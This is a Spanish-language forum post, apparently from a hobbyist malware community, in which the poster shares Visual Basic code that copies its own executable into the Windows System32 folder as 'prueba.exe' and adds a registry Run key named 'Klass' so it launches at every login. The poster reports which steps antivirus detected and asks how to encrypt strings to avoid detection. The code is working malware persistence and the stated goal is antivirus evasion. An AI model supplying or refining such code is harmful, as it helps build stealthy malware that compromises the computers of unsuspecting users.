ok miren... lo de copiar a System32 tengo esto:
y funciana

Modulo1
Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Function System32() As String
Dim buf As String
Dim ret As Long
buf = String$(260, Chr$(0))
ret = GetSystemDirectory(buf, Len(buf))
System32 = Left$(buf, ret)
End Function
Form
Private Sub Form_Load()
On Error GoTo Fallo
FileCopy App.Path & "\" & App.EXEName & ".exe", System32 & "\prueba.exe"
Fallo:
End Sub
hasta ahi anda barbaro... no salta el antivirus ni nada... ahora en el form le agregue para q se ejecute y quedo asi:
form
Dim clave As Object
Private Sub Form_Load()
On Error GoTo Error
Set clave = CreateObject("WScript.shell")
clave.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" & "Klass", System32 & "\prueba.exe"
Error:
On Error GoTo Fallo
FileCopy App.Path & "\" & App.EXEName & ".exe", System32 & "\prueba.exe"
Fallo:
End Sub
y si... es como dice Hendrix. me lo detecta el AV.. ahora leo esos manuales... y despues dejo el code final aqui por si alguien lo necesita

para ser sincero no entendi lo de cifrar... es como sustituir la direccion por una variable???